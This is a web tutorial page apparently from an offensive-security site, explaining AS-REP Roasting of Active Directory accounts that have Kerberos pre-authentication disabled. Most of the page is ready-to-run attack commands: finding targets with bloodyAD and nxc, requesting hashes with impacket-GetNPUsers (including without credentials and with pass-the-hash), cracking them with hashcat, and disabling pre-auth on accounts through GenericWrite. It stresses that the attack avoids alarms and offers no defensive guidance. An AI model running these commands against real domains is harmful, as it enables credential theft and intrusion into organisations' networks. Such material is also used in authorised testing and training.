Skip to content
HackIndex logo

HackIndex

AS-REP Roasting

4 min read Jul 11, 2026

AS-REP Roasting is a quick way to steal password hashes. It targets Active Directory accounts with pre-auth off. First, you ask the DC for the AS-REP. Then the DC sends back a hash. So you crack that hash offline. Also, the attack is quiet. So no alarm fires. And you need no admin rights.

What is AS-REP Roasting?

In short, AS-REP Roasting abuses one flag: DONT_REQ_PREAUTH. Normally the DC checks your password first. However, with pre-auth off, it skips that check. As a result, it replies to anyone. Therefore any user can roast the account.

Keep these facts in mind:

  • First, the hash lives in the AS-REP reply.

  • Next, you crack it offline. So lockout never trips.

  • Also, nothing is logged. Thus it stays quiet.

  • Finally, old service accounts are easy targets.

Who can run AS-REP Roasting?

First, any domain user can roast these accounts. Second, open LDAP lets you roast with no login. In that case, you just need a name list. So the bar is very low.

Find AS-REP Roastable accounts

First, list the targets. This keeps your footprint small. Also, it makes your goal clear. Then the filter finds every account with pre-auth off.

┌──(kali㉿kali)-[~]
└─$ # BloodyAD — direct LDAP filter
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
 
┌──(kali㉿kali)-[~]
└─$ # nxc — enumerate and dump hashes in one pass
┌──(kali㉿kali)-[~]
└─$ nxc ldap $TARGET_IP -u $USER -p $PASSWORD --asreproast asrep.txt 
sAMAccountName: svc-backup
sAMAccountName: jdoe

Request the AS-REP hashes

Next, request the hashes. Your tool depends on what you hold. For example, impacket-GetNPUsers works with any login. Then it asks the DC for each account. So you get every AS-REP hash at once.

With a domain login

First, pass a user and a password. Then the tool roasts all pre-auth accounts. Finally, it saves the hashes to a file.

┌──(kali㉿kali)-[~]
└─$ # All pre-auth disabled accounts
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Pass-the-Hash
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$USER -hashes :$NTHASH -dc-ip $TARGET_IP -request -outputfile asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Specific user only
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$TARGET_USER -dc-ip $TARGET_IP -no-pass -outputfile asrep.txt 
[email protected]:1a2b3c4d5e6f...

Without a login

However, you do not always need a login. If open bind is on, use a name list. First, build the list. Then roast the names for AS-REP hashes.

┌──(kali㉿kali)-[~]
└─$ # No credentials — requires anonymous LDAP bind or known usernames
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/ -dc-ip $TARGET_IP -no-pass -usersfile users.txt -outputfile asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Generate a username list from anonymous LDAP enumeration
┌──(kali㉿kali)-[~]
└─$ ldapsearch -x -H ldap://$TARGET_IP -b "$BASE_DN" "(objectClass=user)" sAMAccountName | grep sAMAccountName | awk '{print $2}' > users.txt 
[email protected]:3e4f5a6b...

Crack the AS-REP hashes

Now crack the loot offline. These AS-REP hashes use etype 23. Therefore Hashcat mode 18200 fits them. Also, weak passwords fall fast. So rockyou often cracks them.

┌──(kali㉿kali)-[~]
└─$ # Mode 18200 — AS-REP etype 23 (RC4)
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # With rules for better coverage
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
 
┌──(kali㉿kali)-[~]
└─$ # Show cracked results
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.txt --show 
[email protected]:1a2b3c...  →  Backup2023!

Force AS-REP Roasting with GenericWrite

Sometimes no account has pre-auth off. However, you can force it. First, you need write rights on a target. Then you flip the flag and roast. Finally, you flip it back.

Follow these steps in order:

  1. First, turn off pre-auth on the target.

  2. Then request the AS-REP hash.

  3. Next, crack it offline.

  4. Finally, turn pre-auth back on.

┌──(kali㉿kali)-[~]
└─$ # Requires GenericWrite or GenericAll on the target account
┌──(kali㉿kali)-[~]
└─$ # Disable pre-auth
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER DONT_REQ_PREAUTH
 
┌──(kali㉿kali)-[~]
└─$ # Request the hash
┌──(kali㉿kali)-[~]
└─$ impacket-GetNPUsers $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request -outputfile asrep.txt
 
┌──(kali㉿kali)-[~]
└─$ # Crack
┌──(kali㉿kali)-[~]
└─$ hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
 
┌──(kali㉿kali)-[~]
└─$ # Re-enable pre-auth after cracking
┌──(kali㉿kali)-[~]
└─$ bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER DONT_REQ_PREAUTH

After the roast

Finally, use what you cracked. One password often opens more doors. So map the account first. Then pivot with care.

Related

Object Enumeration
Blog

Object Enumeration

Enumerates AD objects including users, groups, OUs, and GPOs to map domain structure and identify pr...
Password Spraying
Blog

Password Spraying

Covers low-and-slow authentication attacks against AD accounts using common passwords to evade locko...
AS-REP Roasting – Pre-Auth Disabled Hash Cracking
Blog

AS-REP Roasting – Pre-Auth Disabled Hash Cracking

Exploit accounts with Kerberos pre-authentication disabled to capture AS-REP hashes offline, then cr...

References